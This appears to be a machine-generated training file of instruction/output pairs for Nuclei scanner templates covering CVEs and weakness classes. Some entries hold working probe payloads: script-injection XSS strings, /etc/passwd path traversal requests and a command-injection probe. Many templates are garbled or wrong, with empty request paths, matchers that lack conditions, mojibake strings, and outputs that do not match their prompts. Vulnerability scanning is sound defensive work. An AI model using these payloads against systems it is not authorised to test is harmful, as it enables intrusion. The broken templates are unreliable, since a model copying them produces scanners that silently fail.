    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2018-5233

Input:
Title: Cross-Site Scripting (XSS) in getgrav grav_cms
Summary: Cross-site scripting (XSS) vulnerability in system/src/Grav/Common/Twig/Twig.php in Grav CMS before 1.3.0 allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: getgrav grav_cms
Indicators: error, vulnerability detected

Output:
id: CVE-2018-5233

info:
  name: Grav CMS <1.3.0 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.
  tags: cve,cve2018,xss,grav,getgrav,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body
      - type: word
        words:
          - "/themes/grav"
          - "Grav Admin Login"
          - "data-grav-"
        part: body
        condition: or
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Content-Security-Policy Bypass - Ipify API

Input:
Title: Content-Security-Policy Bypass - Ipify API
Summary: Content-Security-Policy Bypass - Ipify API. Tags: xss, csp-bypass, ipify-api
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: ipify-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Ipify API
  author: renniepak,DhiyaneshDK
  severity: medium
  description: Content-Security-Policy Bypass - Ipify API
  tags: xss,csp-bypass,ipify-api,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Content-Security-Policy"
          - "ipify.org"
        part: header
        condition: and


Instruction: Generate a Nuclei template for: CargoCollective Takeover Detection

Input:
Title: CargoCollective Takeover Detection
Summary: CargoCollective Takeover Detection. CargoCollective takeover was detected.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: cargocollective-takeover

info:
  name: CargoCollective Takeover Detection
  author: pdteam
  severity: high
  description: CargoCollective takeover was detected.
  tags: takeover,cargocollective,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: dsl
      - type: word
        words:
          - "
"
          - "404 Not Found
"
        condition: and


Instruction: Generate a Nuclei template for CVE-2023-33629

Input:
Title: Vulnerability (CWE-787) in h3c magic_r300-2100m_firmware
Summary: H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm.
Vulnerability Type: Vulnerability (CWE-787)
Severity: high
Affected Products: h3c magic_r300-2100m_firmware
Indicators: error, vulnerability detected

Output:
id: CVE-2023-33629

info:
  name: H3C Magic R300-2100M - Remote Code Execution
  author: DhiyaneshDK
  severity: high
  description: H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm.
  tags: cve2023,cve,router,rce,h3c,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: policja2009

info:
  name: Policja2009 User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Policja2009 user name information check was conducted.
  tags: osint,osint-misc,policja2009,discovery

http:
  - method: GET
    path:
      - "http://www.policja2009.fora.pl/search.php?search_author={{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Znaleziono"
        part: body


Instruction: Generate a Nuclei template to detect Path Traversal

Input:
Title: Path Traversal (CWE-22)
Summary: The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escap
Vulnerability Type: Path Traversal
Severity: high
Indicators: unexpected

Output:
id: oracle-fatwire-lfi

info:
  name: Oracle Fatwire 6.3 - Path Traversal
  author: Bernardo Rodrigues @bernardofsr
  severity: high
  description: Oracle Fatwire 6.3 suffers from a path traversal vulnerability in the getSurvey.jsp endpoint.
  tags: lfi,oracle,fatwire,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cs/career/getSurvey.jsp?fn=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd"
    matchers:
      - type: regex
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-44353

Input:
Title: Deserialization of Untrusted Data in adobe coldfusion
Summary: Adobe ColdFusion versions 2023.5 (and earlier) and 2021.11 (and earlier) are affected by an Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction.
Vulnerability Type: Deserialization of Untrusted Data
Severity: critical
Affected Products: adobe coldfusion
Indicators: error, vulnerability detected

Output:
id: CVE-2023-44353

info:
  name: Adobe ColdFusion WDDX Deserialization Gadgets
  author: salts
  severity: critical
  description: Adobe ColdFusion versions 2023.5 (and earlier) and 2021.11 (and earlier) are affected by an Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction.
  tags: cve2023,cve,adobe,coldfusion,deserialization,xss,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Tasmota Configuration Exposure

Input:
Title: Tasmota Configuration Exposure
Summary: Tasmota Configuration Exposure. Tasmota configuration is exposed.
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: tasmota-config-webui

info:
  name: Tasmota Configuration Exposure
  author: ritikchaddha
  severity: medium
  description: Tasmota configuration is exposed.
  tags: misconfig,tasmota,exposure,config,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Firmware"
          - "Tasmota"
        part: body
        condition: and
      - type: word
        words:
          - "Theo Arends"
          - "
Tasmota
"
        part: body
        condition: and


Instruction: Generate a Nuclei template to detect Insufficiently Protected Credentials

Input:
Title: Insufficiently Protected Credentials (CWE-522)
Summary: The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
Vulnerability Type: Insufficiently Protected Credentials
Severity: medium
Indicators: unauthorized

Output:
id: jinher-oa-default-login

info:
  name: Jinher-OA C6 - Default Admin Discovery
  author: ritikchaddha
  severity: high
  description: Jinher-OA C6 default admin credentials were discovered.
  tags: jinher,default-login,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "ÏµÍ³¹ÜÀíÔ±|"
          - "ÄúºÃ|||"
        part: body
        condition: and
      - type: word
        words:
          - "SessionIDAdmin="
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2017-18590

Input:
Title: Cross-Site Scripting (XSS) in bestwebsoft timesheet
Summary: The timesheet plugin before 0.1.5 for WordPress has multiple XSS issues.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: bestwebsoft timesheet
Indicators: error, vulnerability detected

Output:
id: CVE-2017-18590

info:
  name: Timesheet Plugin < 0.1.5 - Cross-Site Scripting
  author: Splint3r7
  severity: medium
  description: The Timesheet plugin before 0.1.5 for WordPress has multiple XSS issues.
  tags: cve,cve2017,wordpress,wp,wp-plugin,bws-promobar,xss,authenticated,timesheet,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: TFTP Service - Detection

Input:
Title: TFTP Service - Detection
Summary: TFTP Service - Detection. Detect TFTP Service.
. Tags: js, tftp, udp
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: tftp-detect

info:
  name: TFTP Service - Detection
  author: pussycat0x,matejsmycka
  severity: info
  description: Detect TFTP Service.
  tags: js,tftp,udp,network,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-0599

Input:
Title: Cross-Site Scripting (XSS) in mapping_multiple_urls_redirect_same_page_project mapping_multiple_urls_redirect_same_page
Summary: The Mapping Multiple URLs Redirect Same Page WordPress plugin through 5.8 does not sanitize and escape the mmursp_id parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: mapping_multiple_urls_redirect_same_page_project mapping_multiple_urls_redirect_same_page
Indicators: error, vulnerability detected

Output:
id: CVE-2022-0599

info:
  name: WordPress Mapping Multiple URLs Redirect Same Page <=5.8 - Cross-Site Scripting
  author: scent2d
  severity: medium
  description: WordPress Mapping Multiple URLs Redirect Same Page plugin 5.8 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the mmursp_id parameter before outputting it back in an admin page.
  tags: cve,cve2022,wordpress,wp-plugin,xss,wp,authenticated,wpscan,mapping_multiple_urls_redirect_same_page_project,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
      - type: word
        words:
          - "id="mmursp_id" value="\"><svg/onload=alert(document.domain)>" />"
        part: body


Instruction: Generate a Nuclei template to detect Path Traversal

Input:
Title: Path Traversal (CWE-22)
Summary: The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escap
Vulnerability Type: Path Traversal
Severity: high
Indicators: unexpected

Output:
id: flir-path-traversal

info:
  name: Flir - Local File Inclusion
  author: pikpikcu
  severity: high
  description: Flir is vulnerable to local file inclusion.
  tags: flir,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/download.php?file=/etc/passwd"
    matchers:
      - type: regex
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: KubeCost - Unauthenticated Dashboard Exposure

Input:
Title: KubeCost - Unauthenticated Dashboard Exposure
Summary: KubeCost - Unauthenticated Dashboard Exposure. KubeCost Dashboard is exposed to external users.
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: unauth-kubecost

info:
  name: KubeCost - Unauthenticated Dashboard Exposure
  author: pussycat0x
  severity: medium
  description: KubeCost Dashboard is exposed to external users.
  tags: misconfig,exposure,unauth,kubecost,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/overview.html"
    matchers:
      - type: word
        words:
          - "<title>Cluster Overview | Kubecost</title>"
          - "<title>Kubecost</title>"
        condition: or
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Azure Network Security Group Create/Update Alert Not Configured

Input:
Title: Azure Network Security Group Create/Update Alert Not Configured
Summary: Azure Network Security Group Create/Update Alert Not Configured. Ensure that an Azure activity log alert is fired whenever "Create" or "Update Network Security Group" events are triggered within your Microsoft Azure cloud account. Activity log alerts get activated when a new activity log event that matches the condition specified in the alert occurs. In this case, the alert condition that we search for is 'Whenever the Administrative Activity Log "Create or Update Network Security Group (Microso
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: azure-nsg-create-update-unalerted

info:
  name: Azure Network Security Group Create/Update Alert Not Configured
  author: princechaddha
  severity: high
  description: Ensure that an Azure activity log alert is fired whenever "Create" or "Update Network Security Group" events are triggered within your Microsoft Azure cloud account. Activity log alerts get activated when a new activity log event that matches the condition specified in the alert occurs. In this case, the alert condition that we search for is 'Whenever the Administrative Activity Log "Create or Update Network Security Group (Microsoft.Network/networkSecurityGroups)" has "any" level, with "any" status and event is initiated by "any"'.
  tags: cloud,devops,azure,microsoft,network-security-group,azure-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2019-13396

Input:
Title: Path Traversal in getflightpath flightpath
Summary: FlightPath 4.x and 5.0-x allows directory traversal and Local File Inclusion through the form_include parameter in an index.php?q=system-handle-form-submit POST request because of an include_once in system_handle_form_submit in modules/system/system.module.
Vulnerability Type: Path Traversal
Severity: medium
Affected Products: getflightpath flightpath
Indicators: error, vulnerability detected

Output:
id: CVE-2019-13396

info:
  name: FlightPath - Local File Inclusion
  author: 0x_Akoko,daffainfo
  severity: medium
  description: FlightPath versions prior to 4.8.2 and 5.0-rc2 are vulnerable to local file inclusion.
  tags: cve,cve2019,flightpath,lfi,edb,getflightpath,vuln

http:
  - method: GET
    path:
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-25322

Input:
Title: SQL Injection in zerof web_server
Summary: ZEROF Web Server 2.0 allows /HandleEvent SQL Injection.
Vulnerability Type: SQL Injection
Severity: critical
Affected Products: zerof web_server
Indicators: error, vulnerability detected

Output:
id: CVE-2022-25322

info:
  name: ZEROF Web Server 2.0 - SQL Injection
  author: daffainfo
  severity: critical
  description: ZEROF Web Server 2.0 allows SQL Injection via the /HandleEvent endpoint. Attackers can exploit this vulnerability by manipulating the request parameters to execute arbitrary SQL queries.
  tags: cve,cve2022,zerof,sqli,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "You have an error in your SQL syntax"
        part: body
      - type: word
        words:
          - "ZEROF Web Server"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2019-5127

Input:
Title: OS Command Injection in youphptube youphptube_encoder
Summary: A command injection have been found in YouPHPTube Encoder. A successful attack could allow an attacker to compromise the server. Exploitable unauthenticated command injections exist in YouPHPTube Encoder 2.3 a plugin for providing encoder functionality in YouPHPTube. The parameter base64Url in /objects/getImage.php is vulnerable to a command injection attack.
Vulnerability Type: OS Command Injection
Severity: critical
Affected Products: youphptube youphptube_encoder
Indicators: error, vulnerability detected

Output:
id: CVE-2019-5127

info:
  name: YouPHPTube Encoder 2.3 - Remote Command Injection
  author: pikpikcu
  severity: critical
  description: YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.
  tags: cve,cve2019,rce,youphptube,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/objects/getImage.php?base64Url={{base64(encode)}}=&format=png"
      - "{{BaseURL}}/objects/getImageMP4.php?base64Url={{base64(encode)}}=&format=jpg"
      - "{{BaseURL}}/objects/getSpiritsFromVideo.php?base64Url={{base64(encode)}}=&format=jpg"
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
      - "{{BaseURL}}/objects/{{filename}}.txt"
    matchers:
      - type: regex
        part: body
      - type: word
        words:
          - "text/plain"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: ImpressPages Installer

Input:
Title: ImpressPages Installer
Summary: ImpressPages Installer. ImpressPages is susceptible to the Installation page exposure due to misconfiguration.
Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: impresspages-installer

info:
  name: ImpressPages Installer
  author: pussycat0x
  severity: low
  description: ImpressPages is susceptible to the Installation page exposure due to misconfiguration.
  tags: misconfig,exposure,install,impresspages,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "ImpressPages installation wizard"
          - "Configuration"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Host PID Namespace Sharing

Input:
Title: Host PID Namespace Sharing
Summary: Host PID Namespace Sharing. Checks if containers in Kubernetes pods share the host's process ID namespace, which can pose a security risk.
Vulnerability Type: Security Check
Severity: critical
Indicators: vulnerability detected

Output:
id: k8s-host-pid-namespace-sharing

info:
  name: Host PID Namespace Sharing
  author: princechaddha
  severity: critical
  description: Checks if containers in Kubernetes pods share the host's process ID namespace, which can pose a security risk.
  tags: cloud,devops,kubernetes,k8s,devsecops,pods,k8s-cluster-security

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Oracle Access Manager Detect

Input:
Title: Oracle Access Manager Detect
Summary: Oracle Access Manager Detect. Tags: tech, oracle, discovery
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: oracle-access-manager-detect

info:
  name: Oracle Access Manager Detect
  author: tess
  severity: info
  description: Oracle Access Manager Detect
  tags: tech,oracle,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/oamfed/idp/soap"
    matchers:
      - type: word
        words:
          - "processing the SOAP Request"
        part: body
      - type: word
        words:
          - "text/xml"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2020-5766

Input:
Title: SQL Injection in srs_simple_hits_counter_project srs_simple_hits_counter
Summary: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') in SRS Simple Hits Counter Plugin for WordPress 1.0.3 and 1.0.4 allows a remote, unauthenticated attacker to determine the value of database fields.
Vulnerability Type: SQL Injection
Severity: high
Affected Products: srs_simple_hits_counter_project srs_simple_hits_counter
Indicators: error, vulnerability detected

Output:
id: CVE-2020-5766

info:
  name: SRS Simple Hits Counter 1.0.3-1.0.4 - Unauthenticated Blind SQL Injection
  author: DhiyaneshDk
  severity: high
  description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') in SRS Simple Hits Counter Plugin for WordPress 1.0.3 and 1.0.4 allows a remote, unauthenticated attacker to determine the value of database fields.
  tags: cve,cve2020,srs-simple-hits-counter,wordpress,wp,wp-plugin,time-based-sqli,sqli,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl